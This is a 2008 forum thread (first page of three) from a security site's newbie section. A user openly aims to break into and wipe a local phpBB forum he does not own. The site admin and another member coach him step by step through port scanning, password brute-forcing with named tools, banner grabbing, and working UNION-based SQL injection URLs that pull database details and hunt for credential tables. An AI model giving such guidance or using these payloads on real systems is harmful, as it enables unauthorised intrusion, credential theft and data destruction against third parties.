|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Does this tell me anything useful |
|
Posted: Sat May 24, 2008 5:01 pm |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Apologies for kicking in the doors and posting here unannounced. I'm looking for a bit of advice from the people here who know what they are doing!
You know how you get something in your head and you just want to beat it? Well, I've got one of those on my hands. It is an irritating local PHPBB that I would love to take down. I've pretty much covered all the bases a newbie can think of. It's PHPBB 2.0.22 without any mods - so it is done up pretty well.
A look at the neighbouring sites don't show any doors apart from one running osCommerce (but can't find anything broken on that).
The hosting is on a Linux VPS - so there is no way into that.
So, it looks like I am stuffed - unless I've missed something. However, a click on a link falls over and gives me this:
Quote: | Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/xxxxx/public_html/images.php on line 21
Warning: include(http://www.xxxxxxxx.com/images/photos/index.php) [function.include]: failed to open stream: no suitable wrapper could be found in /home/xxxxx/public_html/images.php on line 21
Warning: include() [function.include]: Failed opening 'http://www.xxxxxxxxxxx.com/images/photos/index.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxxxx/public_html/images.php on line 21 |
Being a newbie, I don't see anything very useful in it.
Any other approaches I can try that I've not though of? |
|
|
|
|
|
|
|
|
Posted: Sat May 24, 2008 6:03 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This error message points to the fact, that php setting "allow_url_include" is "Off", so no RFI possibilities in that server.
And if that remote website's url is hardcoded (you can't control it), then it is not security hole, but just unexploitable bug.
Next, i suggest to try to find as much as possible co-located websites on that server (there are multiple ways to enumerate neighbours) and then try to look for any exploitable bug or feature. Use Acunetix or other web vuln scanners, if you don't affraid log noise. There can be websites with some half-installed applications, "secret directories", etc etc. This is your best chance. And of course you can use nmap, enumerate all TCP and UDP open ports, determine services and you never know, maybe something is breakable. Also consider dumb methods, like bruteforce against webapplications. Maybe that oscommerce admin is using username "admin" and password "letmein"
You will not know that, unless you try it out |
|
|
|
|
|
|
|
|
Posted: Sat May 24, 2008 7:21 pm |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Thank you for the response Mr Waraxe. I feel very honored.
The osCommerce appears to be fairly out of date. I downloaded the current version to have a sniff at the layout and the 'admin' directory is missing on my target. It is a little difficult to age the install but downloading the stylesheet.css gave a date in the comments of 2003 - (the latest is 2008) so probably old and neglected. With no admin directory I am a little stuffed, but on the other hand a number of directories allow browsing. This has given me a list of modules on it, but none of those are helpful.
I'm not worried about the noise and these VPS things tend to be self managed - so I may go fairly undetected.
Nmap gives me this:
Quote: |
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
25/tcp open smtp
26/tcp open unknown
37/tcp closed time
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https - this has 'cpanel' on it but admin/admin no go
465/tcp open smtps
888/tcp closed accessbuilder
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
5190/tcp open aol
6666/tcp closed irc
8888/tcp open sun-answerbook
|
Checked to see if mysql allowed remote access and had no root password with:
mysql -h xxx.xxx.xxx.xxx -u root -p
and
mysql -h xxx.xxx.xxx.xxx -u root
but got:
Quote: | Access denied for user 'root'@'blah.blah.blah' (using password: NO) + YES) |
I'm going to have a look at the other items you've listed and see if that can shine a light on it. Thank you for your reply sir. |
|
|
|
|
|
|
|
|
Posted: Sat May 24, 2008 9:07 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
There are many ports open, so you can try ftp/pop3/imap/mysql password bruteforce. If you can guess mysql root password, then local file reading and writing will be possible.
Be sure to indentify all services versions and look for exploits. Try anonymous ftp access. Do traceroute and pinpoint target's perimeter router. Try snmp sweeping, nmap and other things against router - you never know
Best options are ports 80 (web applications) and port 3306 (mysql root pass bruteforce). |
|
|
|
|
Posted: Sun May 25, 2008 5:39 pm |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Thank you for your help Sir.
The Acunetix is showing one or two points of interest.
Can you recommend a brute force tool/script? |
|
|
|
|
Posted: Sun May 25, 2008 5:43 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
My suggestion is Hydra:
http://freeworld.thc.org/thc-hydra/
One thing to mention - it seems to support only mysql 3.x and 4.x.
I have mysql 5.x on my local PC and hydra failed. Quick look at src code revealed the fact, that mysql 5-th. version is not (yet) supported ... |
|
|
|
|
Posted: Sun May 25, 2008 6:41 pm |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
'BRUTUS' seems to work on MYSQL5, but it is 'win' only. Your suggestion to use Acunetix has shown a couple of SQLInjection expoits. It allows '
All I am looking to do is drop all the tables (nothing more refined than that!), so how would I manipulate this?
I guess I would URL encode something like:
' OR 1=1 DROP * #
But it is a guess. I'm very new to this. |
|
|
|
|
Posted: Sun May 25, 2008 6:49 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
No, in mysql you can't do such tricks. Try to use sql injection for fetching sensitive info, for example admin credentials. This can open the door to the admin interface, where file upload or something like that can be possible. But first info you need is mysql version. This should be seen via port 3306, even without successful authentication ("banner grabbing"). |
|
|
|
|
Posted: Sun May 25, 2008 7:25 pm |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
I don't get a banner when I try and connect from a command line
mysql -h xxx.xxx.xxx.xxx -u root -p
or
mysql -h xxx.xxx.xxx.xxx -u root
yields:
Access denied for user 'root'@'blah.blah.blah' (using password: NO) + YES
If I go http:xxx.xxx.xxx.xxx:3306 (don't ask, but worth a try) it tries to download a file called 'k3s9aspq.bin' - I can't open it as the character set is wrong. It perhaps means something? |
|
|
|
|
Posted: Sun May 25, 2008 7:30 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
For banner grabbing just telnet to port 3306 |
|
|
|
|
Posted: Mon May 26, 2008 10:02 am |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
That's not looking so good
Quote: | telnet> open xx.xxx.xx.xx 3306
Trying xx.xxx.xx.xx...
Connected to xx.xxx.xx.xx.
Escape character is '^]'.
�Host 'xx-xx-xx-xxx.xxx.xx-.....' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'Connection closed by foreign host. |
Mind you, this may be much more useful if I could overcome the "/"
Quote: |
http://www.xxxxxxxxxxx.xxx:80/archive.php?id=*' OR 'x'='x
Could not execute query: SELECT question, response1, response2, response3, votes1, votes2, votes3, date from poll WHERE id = *\'. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*\'' at line 1 |
|
|
|
|
|
|
|
|
|
Posted: Mon May 26, 2008 11:29 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
1. Your IP is temporarily banned from mysql access. So just wait and try again or change IP address.
2. This sql injection case does not need single quotes.
Try this:
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+@@version,2,3,4,5,6,7,8--+
|
|
|
|
|
|
Posted: Mon May 26, 2008 11:42 am |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Initially I did not see anything - no errors. Then I notice this:
4.1.22-standard-log
Mmmm. Getting warmer???? |
|
|
|
|
Posted: Mon May 26, 2008 11:47 am |
|
|
gibbocool |
Advanced user |
|
|
Joined: Jan 22, 2008 |
Posts: 208 |
|
|
|
|
|
|
|
now just guess the database name and you can get username and passwords!
try users, usertable, user etc |
|
|
|
|
|
|
|
|
Posted: Mon May 26, 2008 11:55 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Yes, as it is not version 5.x, then you can't dircetly read database schema and only way to find interesting tables and fields is guessing.
First, just in case try this:
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+mysql.user--+
|
Probably you will see "access denied" message.
Next:
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+USER(),2,3,4,5,6,7,8--+
|
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+DATABASE(),2,3,4,5,6,7,8--+
|
And next try various table names:
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+user--+
|
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+users--+
|
Code: |
http://www.xxxxxxxxxxx.xxx/archive.php?id=-1+UNION+ALL+SELECT+COUNT(*),2,3,4,5,6,7,8+FROM+admin--+
|
... etc etc ...
If table does not exist, then you will see error message. |
|
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 3
Goto page 1, 2, 3Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|